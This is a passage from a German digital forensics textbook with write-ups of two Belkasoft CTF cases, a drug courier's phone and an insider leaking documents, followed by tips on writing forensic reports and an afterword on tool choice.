Wobei wir die Analysen dann mit einem Click auf Complete starkten können. Wir werden gefragt ob wir weitere Quellen hinzufügen wollen und nach kürzester Zeit sollten auch schon die ersten Artefakte in der Übersicht erscheinen: Eine genauere Übersicht der laufenden Analysen liefert der Reiter Tasks: 368
Wir sehen hier auch zwei Warnungen. Diese weisen uns darauf hin, dass die Backup-Dateien vom Signal-Messenger nicht geöffnet werden können, da das Passwort unbekannt ist. Wir können nun nach dem Passwort suchen oder versuchen das Passwort zu knacken. Dazu sollten wir die Daten sichten. Oftmals finden sich Passwortmanager, Dateien die das Passwort enthalten oder Screenshots. Hier finden wir einen Screenshot, aber das Passwort stimmte nicht. Zwischenzeitlich hat Belkasoft den Fehler aufgeklärt und den Screenshot verändert um das Passwort unkenntlich zu machen da es falsch war aber man findet es nun an anderer Stelle. Das Signal-Backup ist für die Lösung der Aufgaben nicht nötig aber so etwas wird uns bei realen Ermittlungen auch unterkommen. Wir finden eventuell alte Passwörter die nicht mehr funktionieren oder wir finden gar keine Passwörter und müssen versuchen die Passwörter zu knacken, was auch nicht immer gelingt. Am Ende haben wir 684 Artefakte gefunden: Nun können wir uns den Fragen / Challenges widmen... 369
1) Name des Verdächtigen (Baby): Da der Verdächtige nicht redet und auch keinen Ausweis bei sich hat, sollen wir den Namen ermitteln. Leider findet sich kein verknüpfter Google-Account mit seinem Namen aber das wäre wirklich zu leicht gewesen. Die E-Mail auf die der Kalender läuft (horatio0.42k@gmail.com) liefert uns einen möglichen Vornamen aber eine Textsuche nach "Horatio" verlief ohne Ergebnisse. Wir haben auch keine E-Mails mit Bestellungen oder ähnliches um eine Lieferadresse und einen Empfängernamen zu ersehen. Also suche ich methodisch. Mein nächster Ansatz wäre es in den WhatsAppNachrichten danach zu suchen ob jemand den Verdächtigen mit einem Vornamen anspricht. Das finde ich nicht aber ich stoße auf folgende Konversation mit Arnie: Der Verdächtige hat also Probleme mit dem Knie. Eventuell gibt es medizinische Berichte / Aufzeichnungen, Rezepte, etc. aus dem der Name ersichtlich wird... In den Notizen von Google Keep finde ich folgenden Eintrag: Chondrotin Sulfate 600mg - 2 per day PERCUTANE Pain Relief Cream - evening Das passt auch wieder zu einem Arztbesuch und da her sehe ich mir den Kalender genauer an ab dem 20.12.2020 und ich finde folgende Einträge: 370
Es gab also am 22.12.2020 und 28.12.2020 einen Termin mit einem Arzt in der 2601 E. Roosevelt St. - damit könnten Polizisten eventuell etwas anfangen. Sehe ich mir alle weiteren Ereignisse zwischen dem 20.12.2020 und 28.12.2020 genauer an, stoße ich in den Bildern auf folgendes Foto: Der Verdächtige hat also am 20.12.2020 über Schmerzen im Knie geklagt, hatte am 22.12.2020 und 28.12.2020 einen Arzttermin und am 23.12.2020 wurde mit der Kamera seines Telefons ein Röntgenbild von Knien fotografiert. 371
Dass das Bild mit der Kamera des Telefons aufgenommen wurde und nicht etwa aus dem Internet stammt sehen wir anhand der Pfad-Angabe: image:\1\vol_0\data\media\0\DCIM\Camera\IMG_20201223_153810.JPG Damit haben wir keinen Absoluten Beweis aber die Chance ist sehr groß, dass dies das Röntgenbild des Verdächtigen ist und das wir damit den Namen gefunden haben. Unser Verdächtiger heißt Derek Hor. Außerdem ergab diese Suche folgenden Eintrag im Kalender: FREQ=DAILY;UNTIL=20210223T070000Z;WKST=SU; 23.12.2020 00:00:00 Take drugs; Das ist eine tägliche (FREQ=DAILY) Erinnerung, die ab dem 23.12.2020 bis zum 23.02.2021 (UNTIL=20210223T070000Z) läuft mit dem Text " Take drugs". Ich lasse mich von derartigen Entdeckungen nicht ablenken und setze mir bei so etwas ein Lesezeichen wobei ich für jede zu beantwortende Frage eigene Lesezeichen oder Marker definiere. Ist die Frage nach dem Namen beantwortet, kann ich auf derartige Funde zurückkommen und diese dann bearbeiten. Andernfalls verzettelt man sich in zig Fragen gleichzeitig und die Qualität der Ergebnisse leidet! Da wir den Namen haben, widmen wir uns Frage 2. 2) Wer ist der "Vorgesetzte" von Derek Hor (Warmup)? Wir haben keine Anrufe und nur drei Kontakte: 372
Vom Lesen der Chats wissen wir, dass Derek mit Arnie recht locker und freundschaftlich spricht, man schickt sich Game-Videos (zB https://www.youtube.com/watch?v=NSJ4cESNQfE), spricht über Geldsorgen und Zeitungsartikel, etc. Das spricht nicht für eine Beziehung zwischen einem Untergebenen und einem Ranghöheren. Das Medical Center passt wahrscheinlich zum Arzttermin und eine GoogleSuche bestätigt, dass das Valleywise Health Medical Center an der Adresse 2601 E Roosevelt St, Phoenix, AZ 85008 zu finden ist! An dieser Stelle muss ich Belkasoft für die CTFs ein sehr großes Lob aussprechen! Diese sind weit realistischer als andere und Details wie richtige Adressen und Namen von Krankenhäusern oder funktionierende YouTube-URLs zu verwenden damit man den Content prüfen und Telefonnummern eindeutig mit Adressen in Verbindung bringen kann ist wirklich gut durchdacht! Damit bleibt also nur noch "Boss" übrig. Aber das alleine ist kein Beweis. Also konzentriere ich mich darauf die Kommunikation mit dieser Person. Da wir weder E-Mails noch Telefonanrufe haben, bleiben mir nur die WhatsApp Chats. Hier ein kleiner Auszug daraus: 373
Der hier vorherrschende Tonfall und die Bezahlungsweise per Bitcoin (BTC) klingt nicht gerade nach einem normalen Dienstverhältnis. Auch das ist zwar ein Subjektiver Eindruck und darum suche ich noch weiter um eindeutigere Beweise zu finden. Da es sehr Aufwendig ist die ganzen Ergebnisse von Hand zu prüfen und in eine zeitliche Abfolge zu bringen, nutze ich hierzu die Timeline: Diese kann über das Menü mit den drei Balken aufgerufen werden! 374
In der Timeline sehen wir alle Artefakte und Ereignisse in einer zeitlich geordneten Reihenfolge. So können wir den Ablauf bestimmter Ereignisse besser verstehen. Um das jeweilige Artefakt zu sehen, können wir mit einem Rechtsklick auf die Zeile das Kontextmenü aufrufen und dort Go to original item wählen. Hier sehen wir die folgenden wichtigen Einträge: 12.04.2021 00:18:51 - Google Maps Suche nach "Bakery Arizona ..." 12.04.2021 02:02:01 - Foto eines Geldbündels wird erstellt 12.04.2021 02:03:02 - Google Maps Suche nach "Redbox ..." 12.04.2021 03:04:18 - Foto eines Geldbündels wird erstellt 12.04.2021 03:20:24 - Google Maps Suche nach "Oz Bar ..." 12.04.2021 03:45:01 - Google Maps Suche nach "Stinkweeds Record Store ..." 12.04.2021 04:02:01 - Foto eines Geldbündels wird erstellt 12.04.2021 04:04:55 - Zugriff auf https://horatio420.imgbb.com 12.04.2021 04:05:06 - Zugriff auf https://ibb.co/album/RTehva Derek hat also eine Adresse gesucht, ein Geldbündel in einer Hand fotografiert, eine Adresse in Maps gesucht, dann kurz darauf wieder ein Geldbündel fotografiert und zwei weitere Adressen gesucht und dann wieder ein Geldbündel fotografiert. Hier sehen wir ein eindeutiges Muster – Adress-Suche und danach ein Foto von einem Geldbündel mit einer Ausnahme. Nach der Oz Bar gab es kein Foto. Am Ende wurde auf imgbb.com zugegriffen und scheinbar ein Album erstellt. Die Album-URL ist die gleiche URL, die dann an "Boss" gesendet wurde. Worauf hin sich "Boss" beschwerte, dass ein Foto fehlt. Auch das deckt sich mit unseren Beobachtungen. Eindeutigere Indizien als etwas in der Art wird man kaum finden denn auch Kriminelle schreiben sich keine Nachrichten wie "Hier ist das Geld, dass ich für die Drogenlieferung in deinem Namen kassiert habe"! Damit ist ziemlich klar, für wen Derek arbeitet und wie die Telefonnummer dieser Person lautet. Um die Fotos noch mit den Orten in Verbindung zu bringen, kann man die GPSKoordinaten in den Bildern dazu verwenden diese mit den Adressen abzugleichen. Das überlasse ich Ihnen als Übung - achten Sie dabei auf die zeitlichen Abstände! 375
Also weiter mit Frage 3... 3) Was waren die Lieferadressen von Tag der Verhaftung (Tricky) Ich persönlich fand das einzig schwere an dieser Frage, dass nirgendwo klar stand was der Tag der Verhaftung eigentlich war. Mit der Timeline war dies aber recht einfach zu ermitteln denn wir kennen nun die Art und Weise in der Darek arbeitet: Der 18.04.2021 ist der letzte Tag an dem wir das bereits bekannte Muster (Adress-Suche und Foto) finden. Hier ist die Vorgehensweise etwas anders da er die Bilder nun nach jeder zweiten Adress-Suche in ein Album hochlädt. Seine Tour beginnt wieder knapp nach Mitternacht und er beginnt bei Circle K ..., besucht dann den Camelback Golf Club, usw. 4) Wie lange arbeitet Derek schon in diesem "Geschäft" (Baby): Diese Frage lässt sich meiner Meinung nach schwerer beantworten. Ich muss an dieser Stelle auch sagen, dass ich die von Belkasoft erwartete "richtige" Lösung für diese Aufgabe so nicht gesehen habe bzw. auch nicht für eindeutig halte. 376
Ich fand bereits zuvor den Kalender-Eintrag vom 23.12.2020 mit dem Text "Take Drugs". Das wäre meiner Meinung nach der früheste Beweis, dass Derek etwas mit Drogen zu tun hätte. Man kann hier auch argumentieren, dass ein Süchtiger sich wohl kaum mit einem Kalender an die Einnahme von Suchtmitteln erinnern müsse. Also kann man hier durchaus davon ausgehen, dass dieser Alarm ihn an dem Dienstbeginn um 00:00:00 (Mitternacht) erinnern soll. Auch das deckt sich mit dem Bild in der Timeline bei dem die ersten Adressen kurz nach Mitternacht aufgerufen wurden. Die erwartete Antwort ist allerdings 303 Tage und stützt sich auf folgenden Fund: Hier teilt Derek seinem Freund Arnie mit, dass er gerade von einem Vorstellungsgespräch kommt und spricht dabei von seinem "Boss". Ich kann aber keine Hinweise darauf finden das dieser "Boss" und "Job" von dem gesprochen wird die Tätigkeit als Drogenkurier ist. Im Kalender finden sich ab diesem Datum noch folgende Einträge im Zusammenhang mit Jobs: 377
Hier haben wir weitere Vorstellungsgespräche nach dem 20.06.2020 was entweder dafürspricht, dass der Job als Drogenkurier nur eine vorübergehende Notlösung sein sollte und Derek weiter nach normalen Jobs suchte, was den Polizisten Material für ein Verhör liefern würde oder das dies einfach nur ein anderer Job war, den Derek schnell wieder verloren hat. Was für Belkasoft's Datum spricht wäre der Fakt, dass die Geo-Koordinaten in Event location auf ein privates Wohnhaus deuten. Auch in den aufgerufenen URLs finden wir am 15.11.2020 nochmals Hinweise auf eine Jobsuche. In einem weiteren Versuch das Datum von Belkasoft zu bestätigen, habe ich mir die contacts2.db mit dem SQLite Viewer angesehen. Hier fand ich in der Tabelle raw_contacts folgendes: Es gab zwei Kontakte mit dem Namen "Boss". Auch das spricht für meine Theorie oder "Boss" hat einfach eine neue Telefonnummer und Derek ist zu doof den Kontakt zu editieren. Daher sehe ich mir die Tabelle deleted_contacs an: 378
Der "Boss" mit der ID 3 wurde am 02.05.2021 00:25:07 GMT+0200 gelöscht. Das liefert uns folgende Eingabe in der Python-Shell: >>> import datetime >>> print(datetime.datetime.fromtimestamp(int(1619907907543/1000))) 2021-05-02 00:25:07 Wir müssen bei derartigen Dingen immer darauf achten, dass wir mit der richtigen Zeitzone arbeiten. Diese Zeit müssen wir also für Phoenix AZ umrechnen und das wäre dann der 01.05.2021 15:25:07. Das passt nicht zur Zeitlinie des Falles aber zum Vorbereiten des Falls für die CTF-Challenge. Also prüfen wir, wann der Kontakt "Boss" mit der ID 4 zuletzt bearbeitet wurde. Dies sehen wir in der Tabelle contacts: Dieser Zeitstempel hilft uns auch nicht weiter. Bei realen Fällen kann die manuelle Analyse von SQLite-Datenbanken oder anderen Artefakten durchaus nützlich sein um derartige Unklarheiten wie hier zu bestätigen oder zu verwerfen. Also bleibt uns nur noch die Berechnung der Dauer der "Anstellung" von dem genannten Darum an und dazu nutzen wir auch wieder Python: >>> import datetime >>> print(datetime.date(2021,4,18) - datetime.date(2020,6,20)) 302 days, 0:00:00 Hierbei müssen wir bedenken, dass wie damit die Differenz in Tagen errechnen, zu der wir den 18.04.2021 auch noch als quasi "letzten Arbeitstag" hinzuzählen müssen. Es sind also 302 + 1 = 303 Tage! 379
Die weiteren Fragen / Challenges überlasse ich Ihnen als kleine Übung... CTF 3 (Meet the Boss) führt diesen Fall dann weiter und ist genauso spannend und interessant wie diese Challenge! 380
CTF Insider Threat mit Belkasoft X Die erste CTF von Belkasoft dreht sich um einen Fall von Werksspionage. Hier haben wir das Image eines Firmenlaptops auf dem wir Beweise finden sollen, dass der Mitarbeiter für ein Konkurrenzunternehmen spioniert. Nachdem wir einen neuen Fall angelegt haben, können wir gleich mit der ersten Frage starten... 1) Name des Laptop-Besitzers (Baby): Hier habe ich vier Möglichkeiten gefunden den Namen zu identifizieren. Zuerst können wir uns die E-Mails ansehen und wir finden Folgendes: Da wir hier einen Firmenlaptop haben, gehe ich davon aus, dass wir hier auch eine Firmen E-Mail-Adresse haben, was auch den Aufbau mit Vor- und Nachname erklären würde. Im echten Leben wüssten wir natürlich wer der Auftraggeber ist und wir müssten hier nicht raten. In den Artefakten unter Browsers -> Form Values (im Overview Tab) finden wir folgenden Eintrag: In der Dateisystemansicht (Menu -> File System) finden wir folgendes: 381
Dies können wir auch mit Windows -> User name and Sid list (ebenfalls im Overview Tab) bestätigen. Der Unterschied zwischen dem Overview und Structure Tab bei den Artefakten ist, dass Overview alle Artefakte einer Kategorie zusammenfasst. So können wir schnell einen Überblick erhalten und wenn wir genau wissen wollen woher der Eintrag stammt, können wir nach einem Rechtsklick den Punkt Show on Structure auswählen, und wir springen zur entsprechenden Stelle in der Strukturansicht um zu sehen woher genau der Eintrag stammt. Wenn wir gerade im Overview-Tab sind, können wir uns auch die Passwörter ansehen: Auch hier sehen wir wieder weitere Bestätigungen für den Namen des Users und wir sehen ein Passwort (123) das wir später eventuell bei verschlüsselten Dokumenten oder Dateien versuchen können. User verwenden gern für verschiedenste Dinge das gleiche Passwort... 2) Was ist die Adresse der Firma (Baby): Das ist eine typtische CTF-Situation. Im Grunde soll man hier nur die Webseite praivacymatrix.com aufrufen und die Züricher Adresse der Firma herauskopieren. 382
Praktisch war mir nicht klar was genau gesucht wird und ich habe sehr viel Zeit damit verschwendet Unterlagen wie einen Arbeitsvertrag von Anit, Bewerbungen, etc. zu suchen bis ich dann auf folgende E-Mail stieß: Dear Anit, You have no granted access to this kind of information. For the first time there won't be any penalty to you, but we will be watching your activity in case you try to get access to this documentation you're not authorized to. John. From: anit.ghosh@praivacymatrix.com Sent: 05 November 2020 14:21 To: john.finney@praivacymatrix.com Subject: Technical documentation Hey John, I've been requested to review a couple of files. But unfortunately, I couldn't find the last file in the list - new technical documentation. Could you help me find this file and send it to me? I would be very grateful! Anit Ghosh. Dann war es klar das Anit für Praivacymatrix arbeitet. Oftmals sind Aufgaben oder Dinge nicht ganz klar und im realen Leben wäre es bei unklaren Aufgaben völlig normal nachzufragen und man wüsste natürlich auch wer der Auftraggeber ist und für wenn genau Anit arbeitet. Am Tag der Challenge wäre es sogar möglich bei Belkasoft nachzufragen aber der ist bereits vorbei. Zumindest sind derartige Dinge eine gute Übung für Ihre Beharrlichkeit und Geduld. Abgesehen davon haben wir damit den Namen nochmals und die Vermutung das dies eine geschäftliche E-Mail-Adresse ist bestätigt. 383
3) Wann interessierte sich Anit zum ersten Mal für Firmengeheimnisse (Warmup): Die verschwendete Zeit bei der eigentlich wirklich kinderleichten Frage nach der Adresse hat mir hier aber einige Zeit erspart... Dank der E-Mail weiß ich nun, dass die Firmengeheimnisse bzw. die in der kurzen Einleitung erwähnten "technical documents" wahrscheinlich die technische Dokumentation ist. Also starte ich eine Suche (STRG + F) nach "documentation" und ich finde folgendes: Scheinbar ist die gefundene E-Mail schon die Antwort auf die Frage. Wir müssen nur die von Anit gesendete E-Mail aus dem Sent-Ordner heraussuchen und dann können wir uns die Header der E-Mail ansehen um das Datum zu kopieren. Dazu öffnen Sie Emails -> ImapMail -> mail.praivacymatrix.com -> Sent in den Artefakten in der Structure Ansicht. Wählen Sie dann die entsprechende E-Mail und den Reiter Haeders: 384
Das markierte Datum ist die gesuchte Antwort. 4) Welche drei Angestellten sollten befragt werden (Warmup): Da Anit offenbar versuchte einen Kollegen zu "überreden" ihm die Dokumentation zu senden konzentriere ich mich zuerst auf die gesendeten E-Mails und ich finde hier drei interessante Nachrichten mit drei Kollegen: a) John Finney - Thu, 05 Nov 2020 14:21:56 -0500 Hey John, I've been requested to review a couple of files. But unfortunately, I couldn't find the last file in the list - new technical documentation. Could you help me find this file and send it to me? I would be very grateful! Diese Nachricht kannten wir bereits. Wobei die Antwort von John folgenden Zeitstempel hat: Thu, 05 Nov 2020 15:12:36 -0500 John hat Anit um 15:12 darauf hingewiesen, dass er nicht berechtigt ist auf die Dokumentation zuzugreifen. Das macht die nächste gefundene E-Mail noch viel interessanter... b) Noelle Johnson - Thu, 05 Nov 2020 14:50:38 -0500 Hey Noelle, I need your help! I accidentally deleted the new technical documentation from my laptop. Literally erased it. I tried to get it from the corp server but couldn't do that. Could you help me get it? Send me a copy please! I will be very happy! 385
Knapp 30 Minuten nachdem er John gefragt hat, bittet er Noelle darum ihm die techn. Dokumentation zuzusenden. Jetzt behauptet er allerdings, dass er diese bereits hatte und sie versehentlich löschte. Wir haben also zwei Anfragen an zwei Kollegen und das mit unterschiedlichen Geschichten. Die nächste E-Mail ist noch mysteriöser... c) Rachel Corbin - Tue, 13 Oct 2020 09:45:44 -0500 Why they can not make the advance payment? How can we trust them or being confortable to get the money if for any reason they face operational issue during the first month? I am not really confortable in this situation. They already negotiated the price a lot. Now they moved on the first payment issue... And this can become a standard request from Nice. Hier ist die Rede von einer Vorauszahlung und Anit äußert seine Sorge, dass es keine Zahlung geben könnte falls "sie" anfänglich Schwierigkeiten hätten. Zumindest klingt es nicht nach einer normalen Konversation zwischen Kollegen, schon gar nicht, wenn der eine ein Entwickler ist. Sorgen über die Einhaltung eines Zahlungsplans von Partnern wären eher Sache der Projektleiter oder des Managements. Also sehe ich mir die weiteren E-Mails von Rachel und Anit an... Unter anderem finde ich folgende Nachricht (24 Nov 2020 16:45:39 -0500): I'm not sure if its normal, it never takes more than 3 days. I'm sure we made the deposit, do we need something else than the transaction ID? Thanks. Noelle und John sollten definitiv wegen der Anfragen befragt werden und Rachel setze ich wegen diesen mysteriösen E-Mails auf die Liste. 386
5) Der SHA256 Hash der Dokumentation am Laptop (Baby): Wir wissen bisher, dass Anit am 05.11. zuerst versuchte an die Dokumentation zu kommen und am 16.11. kam der Firma zu Ohren, dass jemand versuchte an die Dokumentation zu kommen. Wir wissen zwar nicht, ob Anit bis dahin Erfolg hatte oder nicht aber ich entscheide mich mir alle Dokumente aus diesem Zeitraum anzusehen und falls dies nichts ergibt, auch die Dokumente die nach dem 16.11. erstellt wurden. Hierbei ist es wichtig, dass wir zwischen Erstellungsdatum der Datei (zB aus eingebetteten Metadaten) und dem Erstellungsdatum aus dem Dateisystem unterscheiden. Ersteres besagt wann die Datei selbst erstellt wurde und letzteres besagt wann die Datei auf den Rechner kopiert wurde. Die Filter ergaben nichts. Auch nicht im Zeitraum vom 16.-30.11. und nichts, wenn wir nach dem Zugriffs- oder Modifikationsdatum suchen! Normalerweise ist dies ein guter Ansatz aber hier wurden die Daten erst Monate später erstellt und auf die Zeitstempel wurde nicht geachtet. Das kann ihnen aber auch als Anti Forensik Maßnahme begegnen. Jemand könnte die Zeitstempel so manipulieren, dass Sie aussagen, eine Datei wäre bereits Jahre vor dem Ereignis am Computer gewesen. Zeitstempeln kann man nicht immer trauen und wenn Sie so nichts finden, dann sollten Sie genauer von Hand suchen. Bevor ich die einzelnen Verzeichnisse von Hand durchsuche nutze ich nochmals die Übersicht aller Dokumente und filtere hier auf alle Typen von Dokumenten die für mich Sinn machen würden. Nachdem ich alle DOC-, XLS-, PDF-, PPT- und RTF-Dateien durchgesehen habe, fand ich folgende Dateien: 1) Technical_Documentation_v1.0_3.pdf Da diese Datei von 2010 ist schließe ich diese aus. 2) ci-technical-documentation-2014_2.pdf Diese Datei ist von 2014 und beschäftigt sich mit dem Klimawandel. Also ist das auch eine Niete... 387
3) Doc_-_13_Feb_2021_-_13-40_3.pdf Das ist die gesuchte Datei. Normalerweise weiß man genauer wonach man sucht und man hat bestimmte Schlagwörter wie Produkt- und Projektnamen nach denen man suchen kann. Das bringt uns zur Frage 6... 6) Wer hat das Dokument geleakt (Tricky): Zuerst extrahiere ich das PDF um die Metadaten mit Exiftool zu lesen: mb@FOR1:/mnt/d/Images/CTF_Insider$ exiftool Doc_-_13_Feb_2021_-_1340_3.pdf ExifTool Version Number : 11.88 MIME Type : application/pdf PDF Version : 1.4 Linearized : No Page Count : 7 XMP Toolkit : DynaPDF 4.0.48.135, http://www.dynaforms.com Producer : RAD PDF 3.19.1.1 - https://www.radpdf.com Create Date : 2021:02:13 17:38:32Z Creator Tool : PDFescape Online - https://www.pdfescape.com Metadata Date : 2021:02:13 17:38:32Z Modify Date : 2021:02:13 17:38:32Z Document ID : uuid:f5d33589-54e3-32e3-bb49-9f91e477aec7 Version ID : 1 Rendition Class : default Creator : PDFescape Online - https://www.pdfescape.com Damit sehen wir zumindest wann die Daten für die CTF-Challenge erstellt wurden und mit welchen Tools. Ok, wäre der Mitarbeitername in den Exif-Daten zu finden würde Belkasoft die Schwierigkeit nicht als "Tricky" einstufen. Also sehe ich mir das PDF genauer an und Entdecke folgendes am Ende der zweiten Seite: 388
Auf einer weiteren Seite sehe ich dann das: Prin... und Empl... klingen schon mal vielversprechend. Scheinbar wurden hier ausgedruckte Dokumente die für jeden Mitarbeiter personalisiert waren eingescannt. Es sieht so aus als wäre der Umschlagkarton, der zum Abdecken benutzt wurde, verrutscht und darum mussten die Bilder nachträglich editiert werden... Da in PDFs andere Dateien eingebettet werden können, hoffe ich den Mitarbeiternamen in den EXIF-Daten der eingebetteten Bilder oder eingebetteten Vorschaubildern in den PDFs zu finden. Da ich bereits alle Analysen laufen ließ, sollten auch die Bilder aus diesem PDF bereits extrahiert sein. Darum rufe ich bei den Artefakten in der Overview-Ansicht Den Punkt "Bilder" auf. Hier haben wir allerdings über 12.000 Bilder in diesem Image. Alle Analysen ausgeführt zu haben hilft mir hier auch wieder. Denn nun kann ich mit dem Unterpunkt Pictures -> Text alle Bilder aufrufen die Text enthalten und das sind nur etwas über 400. Recht schnell finde ich dann folgendes: 389
Ich brauche mir gar nicht die EXIF-Daten des Bildes ansehen. Da wir hier eine modernere PDF-Version haben, die Ebenen unterstützt, hat Mark Zukko das schwarze Viereck nicht auf das Bild, sondern in eine eigene Ebene eingefügt. Das eingebettete Originalbild zeigt also noch immer seinen Namen: Auch hier überlasse ich Ihnen die weiteren Fragen als kleine Übung. Ich hoffe mit dieser kleinen Einführung wurde nicht nur klar wie man mit professionellen Tools wie Belkasoft X arbeitet und wie diese die Arbeit erleichtern, sondern auch wie man die ganzen bisher gelernten Dinge kombinieren kann. Derartige Challenges sind eine gute Übung aber man kann auch aus Aufgaben die man nicht lösen konnte wieder viel lernen denn in der Regel findet man kurz nach der Challenge die ersten "Write-Ups" mit Lösungen. 390
So bekommt man auch einen Einblick in die Arbeitsweise und Lösungen anderer Forensiker und kann von erfahreneren Berufskollegen lernen. Ich sehe mir auch gerne mehrere Write-Ups von Challenges an, selbst wenn ich sie schon gelöst habe. Oftmals finde ich darin Ansätze an die ich nicht gedacht habe und alternative Lösungswege. Auch so lernt man immer wieder dazu... 391
TIPPS ZUM SCHREIBEN VON BERICHTEN Auch wenn das Schreiben von Reporten eine der unbeliebtesten Aufgaben bei einer forensischen Untersuchung ist, sollten Sie dies keinesfalls bis zum Ende der Untersuchung aufschieben! Dies führt oft dazu, dass Sie Ihr Vorgehen bei der gesamten Analyse ReverseEngineeren müssen und dann ist die Gefahr sehr groß, dass Sie Details vergessen oder Zwischenschritte auslassen und damit wäre der Bericht für einen anderen IT-Forensiker nicht nachvollziehbar und damit im schlimmsten Fall auch nicht gerichtsverwertbar! Wenn Sie Verweise auf Artikel, Bücher oder die technische Dokumentation von etwas im Report verwenden, kopieren Sie diese nicht einfach von einem älteren Report, sondern prüfen Sie auch ob URLs noch erreichbar und Dokumente noch zum Download verfügbar sind. Ein weiterer Fehler ist das Verwenden von absoluten Aussagen. Der Bericht einer Analyse ist die Interpretation der Daten durch Sie als Forensiker. Verwenden Sie daher lieber Formulierungen wie zB: "Daraus schließe ich ..." oder "Das führt mich zu der Schlussfolgerung ...". Es ist sehr hilfreich eine generelle Vorlage für Berichte zu haben und diese bei jedem Bericht zu verwenden. Das macht es Ihnen leichter sich bei einer Aussage zurechtzufinden, wenn Sie Daten nachlesen müssen und hilft Ihnen dabei konstant gute Berichte abzuliefern. Es spricht natürlich nichts dagegen, wenn im Laufe der Zeit weitere Abschnitte in eine solche Vorlage einfließen und sich diese weiter verbessert. Ihr Bericht soll technische Sachverhalte festhalten und Ihre Schlussfolgerungen daraus klar, sachlich und verständlich darlegen. Stilistische Meisterleistungen sind dabei nicht so wichtig wie gute Lesbarkeit. Halten Sie die Sätze lieber einfacher und verzichten Sie auf zeilenlange Schachtelsätze. Denken Sie auch daran wer den Bericht lesen wird. Ich empfehle es Ihnen technische Sachverhalte so einfach wie möglich zu erklären und Notfalls Fachbegriffe gleich zu erklären. Sie können unwichtige Details auch guten Gewissens weglassen und sich auf das wesentliche konzentrieren. Es macht keinen Sinn bei einer Frage zum Absender einer E-Mail oder zur Herkunft eines Datenpakets mit dem OSI-Schichtmodell zu beginnen und die Funktionsweise der jeweiligen Layer zu erklären. 392
Fügen Sie dann die entsprechenden Auszüge aus dem E-Mail-Header, Paketdumps, etc. gerne mit Ihren Anmerkungen als Anlage dem Bericht hinzu. Diese sind in der Regel nur für andere Techniker interessant. Es ist in der Regel auch empfehlenswert ein alphabetisch sortiertes Stichwortverzeichnis als Anlage beizufügen. Darin können Sie für Laien verständlich Bestimmte Begriff erklären. Vergessen Sie dann aber nicht bei bestimmten Begriffen darauf hinzuweisen. Sie müssen bedenken, dass viele den Bericht nicht von Anfang bis Ende lesen und daher allgemeine Vorbemerkungen oder dergleichen gar nicht beachten. Es ist dennoch als rechtliche Absicherung zu empfehlen zB in Allgemeinen Vorbemerkungen darauf hinzuweisen, dass beispielsweise verwendete Begriffe wie "Computersabotage" oder "Betrug" nicht als rechtliche Wertung, sondern lediglich als Beschreibung zu verstehen sind. Rechtliche Wertungen stehen Ihnen als IT-Forensiker nicht zu und Anwälte greifen oftmals nach derartigen Strohhalmen um Gutachten zu entkräften. Daher halte ich derartige Vorbemerkungen in meiner Vorlage immer auf dem aktuellen Stand und erweitere diese bei Bedarf. Bedenken Sie auch zu dokumentieren was Sie nicht gemacht haben und warum Sie diese Dinge unterlassen haben. Benennen Sie Dinge einheitlich - Quellcode, Sourcecode und Programmcode sind Synonyme für ein und dieselbe Sache aber Ihr Bericht soll auch von Leuten verstanden werden die weniger mit IT zu tun haben. Beschränken Sie sich auf einen der Begriffe und verwenden Sie diesen immer und überall auch wenn der Text dadurch stilistisch leidet. Sie schreiben einen Bericht und keinen Roman! Achten Sie auch darauf, dass das Datumsformat einheitlich ist - unterschiedliche Tools können in Ihren Ausgaben unterschiedliche Datumsformate verwenden: TT.MM.JJJJ und MM.TT.JJJJ führen beispielsweise beim 03.05.2021 zu Verwir- rung. Kopieren Sie ein Datum nicht einfach aus Ihren Auswertungen heraus, sondern prüfen Sie auch ob das Format einheitlich ist und formatieren Sie ein Datum bei Bedarf um! Ein Bericht sollte immer ein Titelblatt mit den wichtigsten Angaben wie Datum, Fallnummer, etc. haben. Das ist wichtig um Berichte leichter zu finden und auf den ersten Blick zu sehen ob dieser auch dem Letztstand entspricht. 393
Weiters ist meiner Meinung nach ein Inhaltsverzeichnis unverzichtbar damit man bestimmte Abschnitte schnell finden kann. Wenn Sie über Details der Analysen sprechen, sollten Sie unbedingt darauf achten auch die verwendeten Programme, Werkzeuge und die jeweiligen Versionen zu erwähnen. Je nach den wofür der Bericht ist, kann es sinnvoll sein einen Abschnitt einzufügen in dem Sie erklären was Ihrer Meinung nach passiert ist und zB in Falle eines CSIRT-Berichts wie derartige Vorkommnisse in Zukunft verhindert werden können. (Executive Summary) Manager wollen sich nicht in die Details einlesen, sondern nur wissen was passiert ist, wie dies in Zukunft verhindert werden kann und was das kosten wird. Anwälte und Richter müssen verstehen was passiert ist und welche Beweise wie zu würdigen sind. Sie wollen sich nicht mit dem händischen Decodieren von $MFT-Einträgen beschäftigen müssen. Im Gegenteil derartige Details an der falschen Stelle sorgen meist für Missverständnisse und Verwirrung! Andere IT-Forensiker müssen genau nachvollziehen können was Sie gemacht haben und wie Sie zu den Ergebnissen kamen und IT-Techniker und Administratoren müssen verstehen was genau passiert ist um zB Firewall-Regeln oder Konfigurationen entsprechend anzupassen. 394
395
NACHWORT In den meisten Fällen werden sich Beginner nicht den Luxus von mehreren teuren Forensik-Tools leisten und eventuell nur mit einem kommerziellen Tool arbeiten. Darum habe ich Ihnen auch so viele kostenlose Tools zur Analyse einzelner Artefakte vorgestellt. Im Idealfall wird ein Forensiker die Daten von Hand überprüfen aber dies würde auch bedeuten, dass er verschiedenste Datenformate von Hand dekodieren muss. Die von Ihnen verfassten Berichte tragen aber zu einem sehr großen Teil dazu bei, dass eine Person entlassen oder sogar verurteilt wird. Daher müssen Sie als IT-Forensiker mit größtmöglicher Sorgfalt arbeiten! Diese Sorgfalt gebietet es Ihre gefundenen Ergebnisse mit zumindest einem oder zwei weiteren Tools zu überprüfen um eventuelle Bugs im Tool Ihrer Wahl auszuschließen. Wenn zwei oder noch besser drei verschiedene Tools zum gleichen Ergebnis kommen, kann man die Daten mit sehr hoher Wahrscheinlichkeit als korrekt ansehen. Man muss allerdings auch sagen, dass der Einsatz von zwei vollwertigen Forensik-Suites einige Vorteile bringt. Ein weiteres Tool kann andere Analysen anbieten und Sie auf andere Dinge aufmerksam machen. Vor allem als Beginner würde ich zumindest anfangs mit Autopsy und einem zusätzlichen kommerziellen Tool arbeiten... Belkasoft ist hierbei mächtiger und hat vor allem bei der Bildanalyse mit einer KI und der besseren Linux-Unterstützung ein paar Vorteile. Ob diese den Aufpreis zu OSForensics wert sind oder nicht, hängt von Ihrem Einsatzgebiet ab! Sehen Sie die in 